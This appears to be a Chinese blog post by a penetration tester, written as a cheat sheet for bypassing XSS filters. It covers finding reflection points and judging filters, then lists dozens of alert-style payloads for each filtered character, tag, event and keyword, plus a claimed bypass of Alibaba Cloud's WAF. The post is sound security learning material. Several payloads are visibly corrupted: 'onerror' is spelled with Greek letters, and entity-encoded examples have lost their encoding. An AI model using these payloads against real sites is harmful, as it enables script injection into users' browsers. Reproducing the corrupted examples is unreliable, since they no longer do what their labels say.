1.概述
做过不少渗透测试,发现系统中有各式各样的拦截XSS的机制,这边分享一下绕过XSS的经验。
刚开始学习XSS时,可能一开始的攻击方式是将payload整理成字典,然后一个个尝试,或者是放到burpsuite中进行爆破,这个是非常直接而且挺有效果的方式,但是如果防御机制是直接将特殊字符进行转义时,可能这个效果就会比较差,因此我这里分享的经验时逐步进行分析的流程。
XSS攻击的流程:
1.观察输入的数据是否在页面有回显
2.判断XSS防御机制
3.构造XSSpayload
4.触发XSS语句
2.观察输入的数据是否在页面有回显
我的经验是直接使用burpsuite,将发送的数据包进行拦截,然后往参数中添加标记,例如abcddcba这种正常页面不存在的数值,然后在返回包中查询该标记,但如果是存储型XSS不一定能在当前返回包能发现,遇到这种情况可以直接在页面中F12查询标记。
根据回显情况,目前我碰到的有三种情况:
1.在标签外
2.在事件中
3.在js代码里面
特殊情况:如果系统中存在日志统计功能,若该功能会保存访问IP、用户输入的账号或密码等信息,也可以利用该功能进行XSS攻击。(访问IP可以使用X-Forwarded For修改成XSS语句)
3.判断XSS防御机制
有很多种方法判断XSS防御机制,本人可能喜欢循序渐进,所以我的顺序是:
1.观察是否为前端过滤
2.是否为黑名单过滤
3.能否使用burpsuite绕过前端
4.是否回显是将黑名单字符替换为空或添加其他字符替换
5.插入的特殊符号是否转义
4.构造XSSpayload
当碰到使用黑名单进行过滤时,可以逐步分析它过滤规则。
1.特殊符号<>”()`’等
2.标签
3.事件
4.行为
①特殊符号:
1.过滤圆括号()
可以使用``进行特换
<script>alert`1`</script>
可以使用实体化%26lpar;%26rpar;代替
"/><math/href=javascript%26colon;alert%26lpar;1%26rpar;>1</math>
可以使用十六进制进行替换(1)
<img src=111 onerror=javascript:alert(1)>
可以使用十进制进行替换
<a href="javascript:alert(/1/)">a</a>
2.过滤圆括号()和反引号``
可以进行base64编码
<object data=data:text/html;base64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4=></object>
可以使用井号#(但是这个payload只能在IE10以下才能触发,会有一个类似日期的弹窗)
<img language=vbs src=<b onerror=alert#1/1#>
可以使用单引号’冒号:(但是这个payload只能在IE8以下才能触发)
<script language=vbs></script><img src=xx:x onerror="::alert+'1'::">
可以使用方括号[]
<![if<iframe/οnlοad=vbs::alert[:]>
3.过滤冒号:
使用:实体化:进行替换
<a href=javascript:alert(2)>1</a>
4.过滤尖括号<>
可以尝试URLencode,或者二次URLencode
%3cscript%3ealert(1)%3c%2Fscript%3e
%253cscript%253ealert(1)%253c%252Fscript%253e
大小写%3c和%3e也有可能有奇效
%3Cscript%3Ealert(1)%3C%2Fscript%3E
5.过滤空格
可以斜杠/
<img/src=1/οnerrοr=alert(1)>
6.过滤等号=
<script>alert(1)</script>
②标签
可以触发XSS的标签实在是相当多,列举部分例子
1.a标签(限制字数时推荐使用)
<a href=”javascript:alert(1)">1</a>
2.script标签
<script>alert(1)</script>
3.button标签
<button onfocus=alert(1)>
4.iframe标签
<iframe onload=alert(1)>
5.img标签
<img src=1 onerror=alert(1)>
6.math标签
<math href="javascript:alert(1)">1</math>
7.command标签
<command oncut=alert(1)>1</command>
8.object标签
<object data=data:text/html;base64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4=></object>
9.svg标签
<svg onload=alert(1)>
当然还有很多标签可以触发,例如div、p、textarea、audio、var、video等
10.标签绕过方式当然还有大小写
<ScRipt>alert(1)</ScRipt>
③事件
1.过滤on事件
可以formaction事件
<form><button formaction=javascript:alert(1)>1
使用href事件
<a href=javascript:alert(1)>
使用data事件
<object data=data:text/html;base64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4=></object>
2.限制长度
建议使用oncut,剪切触发
<a/oncut=alert(1)>1
3.这个也可以使用大小写进行绕过
④行为
1.过滤alert
可以使用prompt
<script>prompt(1)</script>
可以使用confirm
<script>confirm(1)</script>
可以使用document.write
<script>document.write(1)</script>
可以使用window.open
<script>window.open(1)</script>
2.过滤alert、prompt、confirm、document.write、window.open等
使用十进制进行替换
<img src=1 onerror=javascript:alert('XSS')>
同理十六进制也可以
使用base64编码
<a href="data:text/html;base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==">test</a>
使用JSencode
<script>\u{61}l\u{65}rt`1`</script>
可是使用拼凑的方式
<script>this["ale"+"rt"]`666`</script>
或者
<img src=0 onerror="var a='al';var b='ert';a+=b;top[a](1)">
使用Unicode编码
<img src=0 onerror=%5Cu0061%5Cu006c%5Cu0065%5Cu0072%5Cu0074(22)>
使用html实体化
<a href="javascript:alert(1)">Hello</a>
3.过滤javascript
使用十进制进行替换
<a href=javascript:alert(2)>1</a>
同理十六进制也可以
<a href=javascript:alert(2)>1</a>
这个使用大小写也是可以绕过的
4.使用大小写也可以绕过
<script>ALerT(1)</script>
当碰到是回显时进行替换处理。
1.替换为空
这个时候可以复用进行绕过
<scrscriptipt>alert(1)</scrscriptipt>
当script替换为空时,便可以将前后的scr和ipt进行合并
2.使用反斜杠\进行转义
可以利用宽字节合并\
%df“ οnerrοr=alert(1) a=%df”1
会在双引号补充\,这是跟%df会合并成一个字符
有部分实际遇到的情况:
1.系统过滤了onclick等附带事件,在on后面加上下划线变成on_click,data、expression、javascript、vbscript等都过滤了,
<img src=1 on/οnerrοr=alert(1)>
2.过滤方法javascript:|alert|confirm|window|document||prompt|1(编码)|(1)(编码)
<math/href=javascripT%26NewLine;:/1/[Symbol.replace]('1',alert)>1</math>
3.回显字段处在标签内部,过滤了尖括号<>和括号(),并且标签处于type属性为hidden:
可以使用accesskey
%22%20accesskey=%22x%22%20οnclick=alert%601%60%20a=%221
firefox浏览器触发方式Shift+Alt+x
其他浏览器暂时未成功
4.绕过阿里云盾(存储型XSS漏洞)
\"><object data=data:text/html;base64,PG9iamVjdCBkYXRhPWRhdGE6dGV4dC9odG1sO2Jhc2U2NCxQSE5qY21sd2RENWhiR1Z5ZENnaWFHRmphMlZ5SWlrOEwzTmpjbWx3ZEQ0PT4=>
5.绕过on事件行为且限制base64加密
<object data=data:text/html;charset=utf-8,<script>alert(1)<%2fscript>></object>
5.最后
绕过是可以联合在一起使用的,这个是最有趣的点,这篇文章可能不是很完整,如果有碰到新的有意思的绕过方式,我会继续更新的,谢谢!